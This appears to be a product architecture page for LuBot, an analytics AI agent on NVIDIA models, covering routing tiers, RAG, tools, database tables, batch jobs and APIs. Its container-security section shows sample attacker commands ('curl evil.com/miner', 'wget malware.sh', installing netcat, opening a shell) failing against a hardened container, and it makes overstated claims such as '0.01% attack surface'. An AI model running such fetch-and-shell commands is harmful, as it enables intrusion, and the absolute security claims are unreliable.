LuBot Architecture

AI Models — 6 NVIDIA Models

☁️ Cloud Models (via NVIDIA NIM API)

NVIDIA Nemotron Ultra

253B

Intent Routing • Query Enrichment
Document QA • PhD-Level Analysis

NVIDIA Nemotron Nano

8B

Code Generation • Fast Analytics
Simple Queries • 50K tok/s

NVIDIA Nemotron Vision

12B VL

Image & Screenshot Analysis
Multi-Modal Understanding

NVIDIA NV-EMBEDQA-E5

v5

1024-dim Semantic Embeddings
Intent Matching • FAISS Search

NVIDIA Nemotron-3-Nano

30B

1M Context • On-Premise GPU

Self-Hosted RTX 4090

NVIDIA Nemotron-mini

2.7B

Ultra-Light • Real-Time Inference

Self-Hosted RTX 4090 via Ollama

🏗️ Infrastructure

NVIDIA NIM API

Cloud Inference Endpoint
integrate.api.nvidia.com/v1

NVIDIA RTX 4090

On-Premise GPU • 24GB VRAM
Nemotron-3-Nano + Nemotron-mini

AdalFlow

LLM Orchestration Framework
AI Agent Pipeline Engine

Groq (Fallback)

<1%

Emergency Fallback Only

🧬 Self-Learning Architecture

LuBot: A Self-Learning AI Agent

LuBot combines proven engineering patterns into a unique self-learning analytics platform. Through 18 nightly batch workers, 36 database tables tracking user behavior, and adaptive learning systems, LuBot becomes smarter over time - learning your preferences, optimizing response routes, and personalizing insights based on your interaction patterns. Every query makes LuBot better at serving you.

🔄 Request Flow Architecture

User Query

→

Query Enrichment
(253B Rewrite)

→

Intent Classifier
(4-Tier)

→

Route Decision
(253B)

→

Tool Execution

→

Grounded Pipeline

→

Response

🧠 RAG & Embedding Pipeline — NVIDIA Powered

NVIDIA NV-EmbedQA-E5-V5

1024-dim

Semantic Embedding Model • 335M Parameters
Powers all vector search, intent matching & memory retrieval

Text Input

→

NVIDIA Embed
(1024-dim Vector)

→

FAISS Index
(Vector Store)

→

Retrieved Context
(Top-K Similar)

→

Augmented LLM
(Grounded Response)

6 Embedding-Powered Features

📄 Document RAG

Uploaded files chunked & embedded into 1024-dim vectors. FAISS retrieves relevant passages to ground LLM responses in real data.

🎯 Tier 2 Intent Matching

User queries embedded & compared via cosine similarity to known intent vectors. Semantic routing without LLM calls.

💬 Conversation Embeddings

Every conversation indexed as vectors. Enables semantic memory search across all past interactions.

🔗 Semantic Clustering

Nightly batch worker groups similar queries by vector proximity. Discovers usage patterns automatically.

📚 Few-Shot RAG Learning

Retrieves similar past Q&A pairs as few-shot examples. Response quality improves with every conversation.

🔍 FAISS Vector Search

Facebook AI Similarity Search engine. Sub-millisecond approximate nearest neighbor across all vector indexes.

🎯 The LuBot Cascade — 4-Tier Intent Routing

If the agent can figure out what the user wants without calling an LLM, it should. Each stage tries the cheapest method first and only escalates when needed — 95% of routing decisions cost zero LLM tokens.

Tier 0 - Deterministic Detection 0ms - Regex

PhD Analysis Correlation Concentration Anomaly Web Search Fast-Path

Tier 1 - Core Intents (80% of queries) 0ms - Pattern Match

GREETING IDENTITY CAPABILITIES MEMORY_RECALL MEMORY_UPDATE DATA_MODE_SWITCH DATA_QUERY WEB_SEARCH DOCUMENT_QA PREDICTION DOCUMENT_GENERATION DATA_LIBRARY GENERAL

Tier 2 - NVIDIA Embeddings (15% of queries) 5ms - Semantic

ADVICE_REQUEST FOLLOWUP CLARIFICATION DEEP_DIVE COMPARISON

Tier 3 - NVIDIA LLM Fallback (5% of queries) 100ms - LLM

Ambiguous Queries Complex Multi-Intent Edge Cases

⚡ 3-Tier Response System (Smart Model Routing)

Routes queries to the optimal NVIDIA model based on complexity.

Tier 0 - DIRECT (No LLM Needed) 0ms - Template

Criteria: Simple aggregation (COUNT, SUM, AVG) with 1 row result

user_generic_count user_generic_total user_generic_avg user_generic_min user_generic_max

Example: "How many employees?" → "You have 320 employees"

Tier 1 - ENHANCED (Nemotron Nano 8B) 50ms - 50K tok/s

Criteria: Medium complexity, GROUP BY with 2-10 rows, basic analysis

Tables with insights Grouped summaries Top N queries Basic comparisons

Example: "Revenue by department" → Table + "Sales is highest at $2M"

Tier 2 - FULL PhD (Nemotron Ultra 253B) 500ms - 253B params

Criteria: Statistical analysis OR >10 rows requiring deep insights

correlation concentration simpsons_paradox outliers trend comparison

Example: "Correlation between sales and marketing?" → "Pearson r=0.95, p<0.001 - strong positive"

🔄 Routing Flow

                    Query → ResponseTierRouter.get_response_tier() → Tier 0 | Tier 1 | Tier 2 → LLMRouter → NVIDIA Model
                

🛠️ AI Tools & Capabilities (28)

📊 Data & Query Tools

1. SQL Query Engine

Safe SQL execution with injection protection, schema-aware queries

2. SQL Template Matcher

Pattern matching for SQL generation, 30+ templates

3. Schema Extractor

Auto-detect database schema, column mapping

4. Data Analyzer

Metric summaries, trend detection, dimension analysis

📈 Visualization Tools

5. Chart Generator

15+ Plotly chart types: bar, line, pie, scatter, heatmap, etc.

6. Chart Preference Parser

Learn user preferences, personalized defaults

7. Report Generator

PDF, Excel, Word export with charts and insights

8. Report Intelligence

Executive summaries, traffic insights, recommendations

🔬 PhD-Level Intelligence (7 Analyzers)

9. Correlation Analysis

Pearson/Spearman correlation, statistical significance

10. Concentration Analysis

Pareto analysis, Gini coefficient, HHI index

11. Simpson's Paradox

Mix shift detection, segment-level reversal analysis

12. Anomaly Detection

Statistical outliers, Z-score, IQR methods

13. Drivers Analysis

Sensitivity analysis, impact attribution

14. Scenario Analysis

What-if projections, growth scenarios

15. Timeseries Analysis

7 sub-analyzers: trend, seasonality, volatility, momentum

16. Prediction Tools

Prophet forecasting, trend analysis, future projections

🧠 AI Processing Pipeline

17. Grounded Pipeline

20-stage response generation with fact extraction

18. Code Interpreter

Python execution, 20+ analysis templates

19. LLM Router

Intelligent model routing, Nano vs Ultra selection

20. Response Tier Router

Complexity detection, tier assignment

🌐 External Integration Tools

21. Web Search

Real-time web queries with source citations

22. Document RAG

PDF/Word processing, FAISS vector search, Q&A

23. Image Analysis

Vision model integration, multi-modal analysis

24. NVIDIA Embeddings

NV-EMBEDQA-E5-v5 for semantic search

💾 Memory & Storage Tools

25. Memory System

Cross-session memory, conversation indexing, FAISS

26. User Context Builder

Personalization, topic ranking, dimension ordering

27. B2 Cold Storage

Hot/cold pattern: PostgreSQL + Backblaze B2

28. Template Learning

Adaptive learning, route weights, preferences

🗄️ Database Schema (36 Tables)

🏛️ Core Foundation

users

chat_sessions

↓

📦 User Data & Storage

user_uploads

user_uploaded_metrics

user_uploaded_rows

user_uploaded_documents

user_document_chunks

user_document_metadata

user_text_extractions

↓

🧠 Memory & Context

conversation_memory

conversation_embedding_log

generated_output_context

user_conversation_insights

↓

📚 Learning & Preferences

user_preferences

user_chart_preferences

user_route_weights

user_web_search_preferences

user_rag_preferences

user_prediction_preferences

user_report_preferences

preference_events

parameter_learning

template_learning_data

↓

📊 Analytics & Tracking

click_logs

daily_click_summary

landing_visits

daily_landing_summary

user_events

interaction_log

message_feedback

chart_data

↓

👥 Profiles & Segmentation

user_data_profiles

user_daily_summary

user_visitor_segments

user_visitor_segmentation_data

completion_queue

🌐 Demo Mode — Live Data from lubobali.com

LuBot's demo mode uses real-time click data from lubobali.com (portfolio site). Visitors generate live analytics data that LuBot can query, visualize, and analyze — no sample data needed.

lubobali.com

tracker.js

→

POST /api/track-click

Real-time API

→

click_logs

Neon PostgreSQL

→

Click Aggregator

12:00 AM ETL

→

daily_click_summary

Aggregated Metrics

How It Works

1. Collect
lubobali.com tracker.js sends page views, session IDs, time-on-page, and referrer data to LuBot's API in real-time.

2. Process
Click Aggregator ETL runs nightly at 12:00 AM — deduplicates events, computes unique pageviews, and builds daily summaries.

3. Query
Users ask LuBot: "Show me top pages" or "Traffic trends this week" — LuBot queries the live data and generates charts.

Data Tracked: Page Views • Session Duration • Time on Page • Referrer Source • Device/Browser • IP Hash (GDPR-safe)

⏰ Nightly Batch Workers (18 Jobs)

12:00 AM

Click Aggregator ETL

12:10 AM

Landing Aggregator ETL

2:00 AM

Route Weights Learning

3:00 AM

Chart Preferences

4:00 AM

Few-Shot RAG Learning

5:00 AM

User Profile Builder

6:00 AM

Data Profile Baselines

6:30 AM

Multi-Tenant Profiles

7:00 AM

GDPR Data Cleanup

7:30 AM

Completion Verification

8:00 AM

Memory Extraction

8:30 AM

Conversation Embeddings

9:00 AM

Semantic Clustering

9:30 AM

Web Search Prefs

10:00 AM

RAG Preferences

10:30 AM

Prediction Prefs

11:00 AM

Report Preferences

11:30 AM

K-Means Segmentation

🔌 API Endpoints (42)

GET/health

GET/health/memory

POST/v1/agent/run

GET/v1/agent/stream

POST/v1/agent/switch-model

GET/v1/agent/current-model

POST/v1/agent/reset-memory

GET/v1/agent/memory-status

POST/api/upload-document

POST/api/upload-data/{user_id}

DELETE/api/users/{id}/files/{name}

GET/api/users/{id}/storage

GET/api/users/{id}/schema

POST/api/users/{id}/data-mode

GET/api/chat-sessions

GET/api/memories

POST/api/interaction

POST/api/feedback

POST/api/analyze-image

GET/api/analytics/topics

POST/api/track-click

POST/api/landing/track

POST/api/landing/update

POST/api/landing/enter

GET/api/segments/chart/{id}

GET/api/chart/{chart_id}

GET/api/download/{file_id}

🌐 External Services

NVIDIA NIM API

6 NVIDIA Models
Ultra 253B, Nano 8B, Vision 12B VL
NV-EMBEDQA-E5-v5 + Self-Hosted

Groq API

Fallback LLM (<1%)
Emergency backup only

Neon PostgreSQL

Primary Database
36 tables, 230MB+
Real-time OLTP

Backblaze B2

Cold Storage
Raw file storage
Cost-effective archive

🛡️ Container Security — Distroless Architecture

Production-grade container hardening following Google, Netflix, and Stripe security patterns. Every LuBot container runs with zero attack surface — no shell, no tools, nothing to exploit.

BEFORE

Standard Alpine Container

/bin/sh

/bin/bash

wget

curl

apt / apk

chmod / rm

93%

Exploitable Attack Surface

AFTER

Distroless Container

App Binary

Runtime Only

No Shell

No wget/curl

No Package Mgr

No File Utils

0.01%

Attack Surface — Hackers Trapped

Defense Layers

Distroless Base Image

Google's gcr.io/distroless — contains only app + runtime, zero OS tools

Non-Root Execution

All containers run as UID 1000 — no privilege escalation possible

Read-Only Filesystem

Immutable container filesystem — nothing can be written or modified

Network Isolation

UFW firewall rules — only ports 80, 443, 22 exposed

What Happens When an Attacker Gets In

                    $ docker exec container /bin/sh  →  exec failed: no such file or directory

                    $ wget malware.sh  →  command not found

                    $ curl evil.com/miner  →  command not found

                    $ apt install netcat  →  command not found

                    // Attacker is trapped in an empty room with no tools